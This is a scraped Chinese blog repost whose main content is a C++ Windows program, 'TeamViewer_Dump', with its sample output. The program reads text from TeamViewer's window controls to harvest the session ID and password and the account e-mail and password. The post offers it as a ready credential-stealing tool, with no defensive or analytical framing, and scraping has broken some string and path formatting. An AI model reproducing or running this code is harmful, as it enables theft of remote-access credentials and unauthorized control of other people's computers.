zoukankan      html  css  js  c++  java
  • <转载>获取运行中的TeamViewer的账号和密码

    #define WIN32_LEAN_AND_MEAN
    #include <windows.h>
    #include <iostream>
    #pragma comment( lib, "kernel32" )
    #pragma comment( lib, "user32" )
     
    int status = 0;
     
    BOOL CALLBACK EnumMainTVWindow(HWND hwnd, LPARAM lParam)
    {
            const int BufferSize = 1024;
            char BufferContent[BufferSize] = "";
            SendMessage(hwnd, WM_GETTEXT, (WPARAM)BufferSize, (LPARAM)BufferContent);
           
            if (status == 1)
            {
                    printf("%s
    ", BufferContent);
                    status = 0;
            }
     
            if (strstr(BufferContent, "Allow Remote Control") != NULL)
            {
                    status = 1;
                    printf("TeamViewer ID: ");
            }
           
            if (strstr(BufferContent, "Please tell your partner") != NULL)
            {
                    status = 1;
                    printf("TeamViewer PASS: ");
            }
     
            return 1;
    }
     
    BOOL CALLBACK EnumAccountWindow(HWND hwnd, LPARAM lParam)
    {
            const int BufferSize = 1024;
            char BufferContent[BufferSize] = "";
            SendMessage(hwnd, WM_GETTEXT, (WPARAM)BufferSize, (LPARAM)BufferContent);
           
            if (status == 1)
            {
                    printf("%s
    ", BufferContent);
                    status = 0;
            }
     
            if (strstr(BufferContent, "E-mail") != NULL)
            {
                    status = 1;
                    printf("E-mail: ");
            }
           
            if (strstr(BufferContent, "Password") != NULL)
            {
                    status = 1;
                    printf("Password: ");
            }
     
            return 1;
    }
     
     
    int main()
    {
            HWND hwndTeamViewer = FindWindow(NULL, "TeamViewer");
     
            if (hwndTeamViewer)
            {
                    EnumChildWindows(hwndTeamViewer, EnumMainTVWindow, 0);
            }
           
           
            HWND hwndAccount = FindWindow(NULL, "Computers & Contacts");
     
            if (hwndAccount)
            {
                    EnumChildWindows(hwndAccount, EnumAccountWindow, 0);
            }
     
           
            return 0;
    }
    

    C:toolsProjects>TeamViewer_Dump.exe

    TeamViewer ID: 606 151 261
    TeamViewer PASS: 3239
    E-mail: hacked@account.com
    Password: FooPassword123
  • 相关阅读:
    【Python之路Day1】基础篇
    C语言转义字符表和ASCII码表
    strcpy函数学习
    Linux C遇到的常见错误
    静态内存
    指针
    #define学习
    枚举
    搭建Linux C语言开发环境
    centos下php环境安装redis
  • 原文地址:https://www.cnblogs.com/killbit/p/4797549.html
Copyright © 2011-2022 走看看